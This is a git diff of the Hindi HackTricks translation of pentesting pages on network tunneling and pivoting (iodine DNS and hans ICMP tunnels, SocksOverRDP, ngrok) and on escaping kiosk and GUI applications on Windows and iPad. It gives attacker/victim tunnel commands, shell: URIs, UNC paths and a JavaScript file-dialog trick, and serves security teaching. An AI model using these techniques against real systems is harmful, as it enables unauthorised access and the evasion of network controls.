**listen** करेगा **127.0.0.1:1080** पर। -**RDP** के माध्यम से **connect** करें और victim मशीन में `SocksOverRDP-Server.exe` बाइनरी को अपलोड और निष्पादित करें: +**Connect** करें **RDP** के माध्यम से और victim मशीन में `SocksOverRDP-Server.exe` बाइनरी को अपलोड और निष्पादित करें: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -393,7 +385,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -The tunnel बहुत धीमा होगा। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं: +The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` @@ -426,18 +418,18 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं। -## गो में टनल +## Go में टनल [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP टनलिंग -### हैंस +### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -दोनों सिस्टम में रूट की आवश्यकता होती है ताकि tun एडाप्टर बनाए जा सकें और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल किया जा सके। +दोनों सिस्टम में रूट की आवश्यकता होती है ताकि tun अडाप्टर बनाए जा सकें और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल किया जा सके। ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -496,7 +488,7 @@ chmod a+x ./ngrok #### HTTP कॉल्स की स्निफिंग *XSS, SSRF, SSTI ... के लिए उपयोगी* -stdout से सीधे या HTTP इंटरफेस [http://127.0.0.1:4040](http://127.0.0.1:4000) में। +सीधे stdout से या HTTP इंटरफेस [http://127.0.0.1:4040](http://127.0.0.1:4000) में। #### आंतरिक HTTP सेवा का टनलिंग ```bash @@ -527,25 +519,17 @@ addr: file:///tmp/httpbin/ * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) -**ट्राई हार्ड सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index c43a95105..f6a1195b0 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -1,85 +1,75 @@ -# KIOSKs से बाहर निकलना +# KIOSKs से भागना {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +HackTricks का समर्थन करें -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि क्या कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **क्षति** पहुंचाई गई है। - -WhiteIntel का मुख्य उद्देश्य खाता हाथियाने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं। - -आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} --- -## भौतिक उपकरण की जाँच +## भौतिक उपकरण की जांच करें | घटक | क्रिया | | ------------- | -------------------------------------------------------------------- | -| पावर बटन | उपकरण को बंद और फिर से चालू करने से प्रारंभ स्क्रीन प्रकट हो सकता है | -| पावर केबल | जांचें कि उपकरण को थोड़ी देर के लिए बिजली काटने पर पुनरारंभ होता है | -| USB पोर्ट्स | फिजिकल कीबोर्ड कनेक्ट करें जिसमें अधिक शॉर्टकट्स हों | -| ईथरनेट | नेटवर्क स्कैन या स्निफिंग से और अधिक शोषण संभव हो सकता है | +| पावर बटन | डिवाइस को बंद और फिर से चालू करने से प्रारंभ स्क्रीन प्रकट हो सकती है | +| पावर केबल | जांचें कि क्या डिवाइस थोड़े समय के लिए पावर कट जाने पर फिर से बूट होता है | +| USB पोर्ट | अधिक शॉर्टकट के साथ भौतिक कीबोर्ड कनेक्ट करें | +| ईथरनेट | नेटवर्क स्कैन या स्निफिंग आगे के शोषण को सक्षम कर सकती है | -## GUI एप्लिकेशन के अंदर संभावित क्रियाएँ जांचें +## GUI एप्लिकेशन के अंदर संभावित क्रियाओं की जांच करें -**सामान्य संवाद** वह विकल्प हैं जो **एक फ़ाइल सहेजना**, **एक फ़ाइल खोलना**, एक फ़ॉन्ट, एक रंग का चयन करने के... ज्यादातर में ये **पूर्ण एक्सप्लोरर कार्यक्षमता प्रदान करेंगे**। इसका मतलब है कि आप एक्सप्लोरर कार्यक्षमताओं तक पहुंच सकेंगे अगर आप इन विकल्पों तक पहुंच सकते हैं: +**सामान्य संवाद** वे विकल्प हैं जो **फाइल को सहेजने**, **फाइल खोलने**, एक फ़ॉन्ट, एक रंग चुनने... के लिए होते हैं। इनमें से अधिकांश **पूर्ण एक्सप्लोरर कार्यक्षमता** प्रदान करेंगे। इसका मतलब है कि यदि आप इन विकल्पों तक पहुँच सकते हैं, तो आप एक्सप्लोरर कार्यक्षमताओं तक पहुँच सकते हैं: -* बंद करें/बंद करें जैसा +* बंद करें/जैसे बंद करें * खोलें/के साथ खोलें -* प्रिंट +* प्रिंट करें * निर्यात/आयात -* खोज -* स्कैन +* खोजें +* स्कैन करें -आपको यह जांचनी चाहिए कि क्या आप: +आपको यह जांचना चाहिए कि क्या आप: * फ़ाइलों को संशोधित या नई फ़ाइलें बना सकते हैं * प्रतीकात्मक लिंक बना सकते हैं -* प्रतिबंधित क्षेत्रों तक पहुंच प्राप्त कर सकते हैं -* अन्य ऐप्स को क्रियान्वित कर सकते हैं +* प्रतिबंधित क्षेत्रों तक पहुँच प्राप्त कर सकते हैं +* अन्य ऐप्स को निष्पादित कर सकते हैं ### कमांड निष्पादन -शायद **`खोलें के साथ`** विकल्प का उपयोग करके आप किसी प्रकार की शैल खोल/निष्पादित कर सकते हैं। +शायद **`Open with`** विकल्प का उपयोग करके आप किसी प्रकार का शेल खोल/निष्पादित कर सकते हैं। -#### Windows +#### विंडोज -उदाहरण के लिए _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ यहाँ और भी बाइनरी हैं जो कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं (और अप्रत्याशित क्रियाएँ कर सकते हैं): [https://lolbas-project.github.io/](https://lolbas-project.github.io) +उदाहरण के लिए _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ यहाँ और बाइनरी खोजें जो कमांड निष्पादित करने (और अप्रत्याशित क्रियाएँ करने) के लिए उपयोग की जा सकती हैं: [https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ -_bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](https://gtfobins.github.io) +_bash, sh, zsh..._ यहाँ अधिक: [https://gtfobins.github.io/](https://gtfobins.github.io) -## Windows +## विंडोज -### पथ प्रतिबंधों को छोड़ना +### पथ प्रतिबंधों को बायपास करना -* **पर्यावरण चर**: कई पर्यावरण चर हैं जो किसी पथ को दिखा रहे हैं +* **पर्यावरण चर**: कई पर्यावरण चर हैं जो कुछ पथ की ओर इशारा कर रहे हैं * **अन्य प्रोटोकॉल**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ -* **प्रतीकात्मक लिंक्स** -* **शॉर्टकट्स**: CTRL+N (नई सत्र खोलें), CTRL+R (कमांड निष्पादित करें), CTRL+SHIFT+ESC (कार्य प्रबंधक), Windows+E (एक्सप्लोरर खोलें), CTRL-B, CTRL-I (पसंद), CTRL-H (इतिहास), CTRL-L, CTRL-O (फ़ाइल/खोलें संवाद), CTRL-P (प्रिंट संवाद), CTRL-S (इस रूप में सहेजें) +* **प्रतीकात्मक लिंक** +* **शॉर्टकट**: CTRL+N (नई सत्र खोलें), CTRL+R (कमांड निष्पादित करें), CTRL+SHIFT+ESC (कार्य प्रबंधक), Windows+E (एक्सप्लोरर खोलें), CTRL-B, CTRL-I (पसंदीदा), CTRL-H (इतिहास), CTRL-L, CTRL-O (फाइल/खोलें संवाद), CTRL-P (प्रिंट संवाद), CTRL-S (जैसे सहेजें) * छिपा हुआ प्रशासनिक मेनू: CTRL-ALT-F8, CTRL-ESC-F9 -* **शैल URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -* **UNC पथ**: साझा फ़ोल्डरों से कनेक्ट करने के लिए पथ। आपको स्थानीय मशीन के C$ से कनेक्ट करने की कोशिश करनी चाहिए ("\\\127.0.0.1\c$\Windows\System32") +* **शेल URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ +* **UNC पथ**: साझा फ़ोल्डरों से कनेक्ट करने के लिए पथ। आपको स्थानीय मशीन के C$ से कनेक्ट करने का प्रयास करना चाहिए ("\\\127.0.0.1\c$\Windows\System32") * **अधिक UNC पथ:** | UNC | UNC | UNC | @@ -100,7 +90,7 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http एक्सप्लोरर: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ रजिस्ट्री संपादक: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) -### ब्राउज़र से फ़ाइल सिस्टम तक पहुंच +### ब्राउज़र से फ़ाइल सिस्टम तक पहुँच | PATH | PATH | PATH | PATH | | ------------------- | ----------------- | ------------------ | ------------------- | @@ -111,47 +101,48 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http | C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | | %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | | %HOMEDRIVE% | %HOMESHARE | |


| -### शॉर्टकट्स -* स्टिकी की – SHIFT 5 बार दबाएं -* माउस की – SHIFT+ALT+NUMLOCK -* हाई कंट्रास्ट – SHIFT+ALT+PRINTSCN -* टॉगल की – NUMLOCK को 5 सेकंड के लिए दबाएं -* फ़िल्टर की – दाएं SHIFT को 12 सेकंड के लिए दबाएं -* WINDOWS+F1 – Windows खोज -* WINDOWS+D – डेस्कटॉप दिखाएं -* WINDOWS+E – Windows एक्सप्लोरर लॉन्च करें +### शॉर्टकट + +* स्टिकी कीज़ – SHIFT को 5 बार दबाएँ +* माउस कीज़ – SHIFT+ALT+NUMLOCK +* हाई कॉन्ट्रास्ट – SHIFT+ALT+PRINTSCN +* टॉगल कीज़ – NUMLOCK को 5 सेकंड के लिए दबाए रखें +* फ़िल्टर कीज़ – दाएँ SHIFT को 12 सेकंड के लिए दबाए रखें +* WINDOWS+F1 – विंडोज़ खोज +* WINDOWS+D – डेस्कटॉप दिखाएँ +* WINDOWS+E – विंडोज़ एक्सप्लोरर लॉन्च करें * WINDOWS+R – रन -* WINDOWS+U – इज ऑफ़ एक्सेस सेंटर -* WINDOWS+F – खोज +* WINDOWS+U – एक्सेस सेंटर +* WINDOWS+F – खोजें * SHIFT+F10 – संदर्भ मेनू -* CTRL+SHIFT+ESC – टास्क मैनेजर -* CTRL+ALT+DEL – नए Windows संस्करणों पर स्प्लैश स्क्रीन -* F1 – मदद F3 – खोज +* CTRL+SHIFT+ESC – कार्य प्रबंधक +* CTRL+ALT+DEL – नए विंडोज़ संस्करणों पर स्प्लैश स्क्रीन +* F1 – मदद F3 – खोजें * F6 – पता बार -* F11 – इंटरनेट एक्सप्लोरर के भीतर पूर्ण स्क्रीन टॉगल +* F11 – इंटरनेट एक्सप्लोरर में पूर्ण स्क्रीन टॉगल करें * CTRL+H – इंटरनेट एक्सप्लोरर इतिहास * CTRL+T – इंटरनेट एक्सप्लोरर – नया टैब -* CTRL+N – इंटरनेट एक्सप्लोरर – नया पेज +* CTRL+N – इंटरनेट एक्सप्लोरर – नया पृष्ठ * CTRL+O – फ़ाइल खोलें * CTRL+S – सहेजें CTRL+N – नया RDP / Citrix ### स्वाइप -* छोड़ें की तरफ से दाएं ओर स्वाइप करें ताकि सभी खुली विंडो दिखाई दें, KIOSK ऐप को कम करें और पूरे ओएस तक सीधे पहुंचें; -* दाएं ओर से बाएं की तरफ स्वाइप करें ताकि क्रिया केंद्र खोलें, KIOSK ऐप को कम करें और पूरे ओएस तक सीधे पहुंचें; -* ऊपर की किनारे से स्वाइप करें ताकि पूर्ण स्क्रीन मोड में खोले गए ऐप के लिए शीर्ष बार दिखाई दे; -* नीचे से ऊपर की ओर स्वाइप करें ताकि पूर्ण स्क्रीन ऐप में टास्कबार दिखाई दे। +* बाएँ से दाएँ स्वाइप करें ताकि सभी खुले विंडोज़ देख सकें, KIOSK ऐप को कम करते हुए और सीधे पूरे OS तक पहुँच सकें; +* दाएँ से बाएँ स्वाइप करें ताकि एक्शन सेंटर खोल सकें, KIOSK ऐप को कम करते हुए और सीधे पूरे OS तक पहुँच सकें; +* शीर्ष किनारे से स्वाइप करें ताकि पूर्ण स्क्रीन मोड में खोले गए ऐप के लिए शीर्षक बार दिखाई दे; +* नीचे से स्वाइप करें ताकि पूर्ण स्क्रीन ऐप में टास्कबार दिख सके। ### इंटरनेट एक्सप्लोरर ट्रिक्स #### 'इमेज टूलबार' -यह एक टूलबार है जो छवि के ऊपर बाएं-दाएं में दिखाई देती है जब इसे क्लिक किया जाता है। आप "सेव", "प्रिंट", "मेलटो", "माय पिक्चर्स" इंएक्सप्लोरर में खोलने की क्षमता होगी। किओस्क को इंटरनेट एक्सप्लोरर का उपयोग करना चाहिए। +यह एक टूलबार है जो इमेज पर क्लिक करने पर शीर्ष-बाएँ पर दिखाई देता है। आप सहेजने, प्रिंट करने, मेल करने, एक्सप्लोरर में "मेरी तस्वीरें" खोलने में सक्षम होंगे। Kiosk को इंटरनेट एक्सप्लोरर का उपयोग करना चाहिए। -#### शैल प्रोटोकॉल +#### शेल प्रोटोकॉल -एक्सप्लोरर दृश्य प्राप्त करने के लिए इस URL को टाइप करें: +एक्सप्लोरर दृश्य प्राप्त करने के लिए ये URL टाइप करें: * `shell:Administrative Tools` * `shell:DocumentsLibrary` @@ -170,110 +161,129 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http * `Shell:System` * `Shell:ControlPanelFolder` * `Shell:Windows` -* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> कंट्रोल पैनल +* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> नियंत्रण कक्ष * `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> मेरा कंप्यूटर -* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> मेरे नेटवर्क प्लेसेस +* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> मेरे नेटवर्क स्थान * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> इंटरनेट एक्सप्लोरर -### फ़ाइल एक्सटेंशन दिखाएं +### फ़ाइल एक्सटेंशन दिखाएँ -अधिक जानकारी के लिए इस पेज की जाँच करें: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) +अधिक जानकारी के लिए इस पृष्ठ की जांच करें: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) -## ब्राउज़र ट्रिक्स +## ब्राउज़र्स ट्रिक्स -आईकैट संस्करण की बैकअप: +iKat संस्करणों का बैकअप: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ -जावास्क्रिप्ट का उपयोग करके एक सामान्य संवाद बनाएं और फ़ाइल एक्सप्लोरर तक पहुंचें: `document.write('')`\ +JavaScript का उपयोग करके एक सामान्य संवाद बनाएं और फ़ाइल एक्सप्लोरर तक पहुँचें: `document.write('')`\ स्रोत: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 -## आईपैड +## iPad ### इशारे और बटन -* चार (या पांच) उंगलियों के साथ ऊपर स्वाइप करें / होम बटन को दोहराएं: मल्टीटास्क दृश्य देखने और ऐप बदलने के लिए -* चार या पांच उंगलियों के साथ किसी भी तरह स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए -* पांच उंगलियों के साथ स्क्रीन को पिंच करें / होम बटन को छूनें / एक उंगली से तेजी से स्क्रीन के नीचे से ऊपर स्वाइप करें: होम तक पहुंचने के लिए -* एक उंगली से स्क्रीन के नीचे से सिर्फ 1-2 इंच (धीमे से) स्वाइप करें: डॉक दिखाई देगा -* एक उंगली से डिस्प्ले के ऊपर से नीचे स्वाइप करें: अपने सूचनाएं देखने के लिए -* एक उंगली से स्क्रीन के ऊपर-दाएं कोने से नीचे स्वाइप करें: आईपैड प्रो का नियंत्रण केंद्र देखने के लिए -* एक उंगली से स्क्रीन के बाएं किनारे से 1-2 इंच: आज का दृश्य देखने के लिए -* एक उंगली से स्क्रीन के केंद्र से दाएं या बाएं तेजी से स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए -* ऊपर-दाएं कोने में ओन/**ऑफ़**/स्लीप बटन को दबाएं + स्लाइड को **पावर ऑफ़** स्लाइडर को पूरी तरह से दाएं ले जाएं: पावर ऑफ़ करने के लिए -* ऊपर-दाएं कोने में ओन/**ऑफ़**/स्लीप बटन को दबाएं + होम बटन को कुछ सेकंड के लिए: हार्ड पावर ऑफ़ करने के लिए -* ऊपर-दाएं कोने में ओन/**ऑफ़**/स्लीप बटन को दबाएं + होम बटन को तेजी से: एक स्क्रीनशॉट लेने के लिए जो डिस्प्ले के नीचे बाएं में पॉप अप होगा। दोनों बटनों को एक साथ बहुत हल्के से दबाएं जैसे कि आप कुछ सेकंड होल्ड करते हैं तो हार्ड पावर ऑफ़ हो जाएगा। +* चार (या पाँच) उंगलियों के साथ ऊपर स्वाइप करें / होम बटन को डबल-टैप करें: मल्टीटास्क दृश्य देखने और ऐप बदलने के लिए +* चार या पाँच उंगलियों के साथ एक दिशा में स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए +* पाँच उंगलियों के साथ स्क्रीन को चुटकी लें / होम बटन को छूएं / स्क्रीन के नीचे से 1 उंगली के साथ तेजी से ऊपर स्वाइप करें: होम तक पहुँचने के लिए +* स्क्रीन के नीचे से 1 उंगली को केवल 1-2 इंच (धीरे) स्वाइप करें: डॉक दिखाई देगा +* स्क्रीन के शीर्ष से 1 उंगली के साथ नीचे स्वाइप करें: अपनी सूचनाएँ देखने के लिए +* स्क्रीन के शीर्ष-दाएँ कोने से 1 उंगली के साथ नीचे स्वाइप करें: iPad Pro का नियंत्रण केंद्र देखने के लिए +* स्क्रीन के बाएँ से 1 उंगली को 1-2 इंच स्वाइप करें: आज का दृश्य देखने के लिए +* स्क्रीन के केंद्र से 1 उंगली को तेजी से दाएँ या बाएँ स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए +* ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/स्लीप बटन को दबाए रखें + **पावर ऑफ** स्लाइडर को दाएँ तक खींचें: पावर ऑफ करने के लिए +* ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/स्लीप बटन को कुछ सेकंड के लिए और होम बटन को दबाएँ: हार्ड पावर ऑफ करने के लिए +* ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/स्लीप बटन को और होम बटन को तेजी से दबाएँ: एक स्क्रीनशॉट लेने के लिए जो डिस्प्ले के निचले बाएँ में पॉप अप होगा। दोनों बटन को एक साथ बहुत संक्षेप में दबाएँ, जैसे कि यदि आप उन्हें कुछ सेकंड के लिए दबाए रखते हैं तो एक हार्ड पावर ऑफ किया जाएगा। -### शॉर्टकट्स +### शॉर्टकट -आपके पास एक आईपैड कुंजीपटल या एक USB कुंजीपटल अडैप्टर होना चाहिए। यहाँ केवल उन शॉर्टकट्स को दिखाया जाएगा जो ऐप से बाहर निकलने में मदद कर सकते हैं। +आपके पास एक iPad कीबोर्ड या USB कीबोर्ड एडाप्टर होना चाहिए। केवल वे शॉर्टकट जो एप्लिकेशन से भागने में मदद कर सकते हैं, यहाँ दिखाए जाएंगे। | कुंजी | नाम | | --- | ------------ | | ⌘ | कमांड | -| ⌥ | विकल्प (ऑल्ट) | +| ⌥ | विकल्प (Alt) | | ⇧ | शिफ्ट | -| ↩ | वापस | +| ↩ | रिटर्न | | ⇥ | टैब | | ^ | नियंत्रण | -| ← | बाएं तीर | -| → | दाएं तीर | +| ← | बाएँ तीर | +| → | दाएँ तीर | | ↑ | ऊपर तीर | | ↓ | नीचे तीर | -#### सिस्टम शॉर्टकट्स +#### सिस्टम शॉर्टकट -ये शॉर्टकट्स विजुअल सेटिंग्स और ध्वनि सेटिंग्स के लिए हैं, आईपैड के उपयोग पर निर्भर करते हैं। +ये शॉर्टकट दृश्य सेटिंग्स और ध्वनि सेटिंग्स के लिए हैं, iPad के उपयोग के आधार पर। | शॉर्टकट | क्रिया | | -------- | ------------------------------------------------------------------------------ | -| F1 | स्क्रीन कम करें | -| F2 | स्क्रीन चमकाएं | -| F7 | पिछला गाना | -| F8 | प्ले/पॉज़ करें | -| F9 | गाना छोड़ें | -| F10 | म्यूट करें | -| F11 | ध्वनि की गति कम करें | -| F12 | ध्वनि की गति बढ़ाएं | -| ⌘ Space | उपलब्ध भाषाओं की सूची दिखाएं; चुनने के लिए, फिर स्पेस बार दबाएं। | +| F1 | स्क्रीन को मंद करें | +| F2 | स्क्रीन को उज्ज्वल करें | +| F7 | एक गाना पीछे करें | +| F8 | प्ले/पॉज़ | +| F9 | गाना छोड़ें | +| F10 | म्यूट | +| F11 | ध्वनि कम करें | +| F12 | ध्वनि बढ़ाएँ | +| ⌘ Space | उपलब्ध भाषाओं की सूची प्रदर्शित करें; एक चुनने के लिए, फिर से स्पेस बार दबाएँ। | -#### आईपैड नेविगेशन +#### iPad नेविगेशन | शॉर्टकट | क्रिया | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | होम पर जाएं | -| ⌘⇧H (कमांड-शिफ्ट-एच) | होम पर जाएं | -| ⌘ (स्पेस) | स्पॉटलाइट खोलें | -| ⌘⇥ (कमांड-टैब) | पिछले दस उपयोग किए गए ऐप्स की सूची | -| ⌘\~ | अंतिम ऐप पर जाएं | -| -#### सफारी शॉर्टकट्स +| ⌘H | होम पर जाएँ | +| ⌘⇧H (कमांड-शिफ्ट-H) | होम पर जाएँ | +| ⌘ (स्पेस) | स्पॉटलाइट खोलें | +| ⌘⇥ (कमांड-टैब) | पिछले दस उपयोग किए गए ऐप्स की सूची | +| ⌘\~ | अंतिम ऐप पर जाएँ | +| ⌘⇧3 (कमांड-शिफ्ट-3) | स्क्रीनशॉट (निचले बाएँ में सहेजने या उस पर कार्य करने के लिए) | +| ⌘⇧4 | स्क्रीनशॉट और इसे संपादक में खोलें | +| ⌘ को दबाए रखें | ऐप के लिए उपलब्ध शॉर्टकट की सूची | +| ⌘⌥D (कमांड-ऑप्शन/Alt-D) | डॉक लाएगा | +| ^⌥H (नियंत्रण-ऑप्शन-H) | होम बटन | +| ^⌥H H (नियंत्रण-ऑप्शन-H-H) | मल्टीटास्क बार दिखाएँ | +| ^⌥I (नियंत्रण-ऑप्शन-i) | आइटम चयनकर्ता | +| Escape | वापस बटन | +| → (दाएँ तीर) | अगला आइटम | +| ← (बाएँ तीर) | पिछला आइटम | +| ↑↓ (ऊपर तीर, नीचे तीर) | चयनित आइटम को एक साथ टैप करें | +| ⌥ ↓ (विकल्प-नीचे तीर) | नीचे स्क्रॉल करें | +| ⌥↑ (विकल्प-ऊपर तीर) | ऊपर स्क्रॉल करें | +| ⌥← या ⌥→ (विकल्प-बाएँ तीर या विकल्प-दाएँ तीर) | बाएँ या दाएँ स्क्रॉल करें | +| ^⌥S (नियंत्रण-ऑप्शन-S) | वॉयसओवर स्पीच चालू या बंद करें | +| ⌘⇧⇥ (कमांड-शिफ्ट-टैब) | पिछले ऐप पर स्विच करें | +| ⌘⇥ (कमांड-टैब) | मूल ऐप पर वापस स्विच करें | +| ←+→, फिर विकल्प + ← या विकल्प+→ | डॉक के माध्यम से नेविगेट करें | + +#### सफारी शॉर्टकट | शॉर्टकट | क्रिया | | ----------------------- | ------------------------------------------------ | -| ⌘L (कमांड-एल) | स्थान खोलें | -| ⌘T | नया टैब खोलें | +| ⌘L (कमांड-L) | स्थान खोलें | +| ⌘T | एक नया टैब खोलें | | ⌘W | वर्तमान टैब बंद करें | -| ⌘R | वर्तमान टैब को रिफ्रेश करें | -| ⌘. | वर्तमान टैब को लोडिंग रोकें | -| ^⇥ | अगले टैब पर स्विच करें | -| ^⇧⇥ (कंट्रोल-शिफ्ट-टैब) | पिछले टैब पर जाएं | -| ⌘L | पाठ इनपुट/URL फील्ड का चयन करें और संशोधित करें | -| ⌘⇧T (कमांड-शिफ्ट-टी) | आखिरी बंद किए गए टैब खोलें (कई 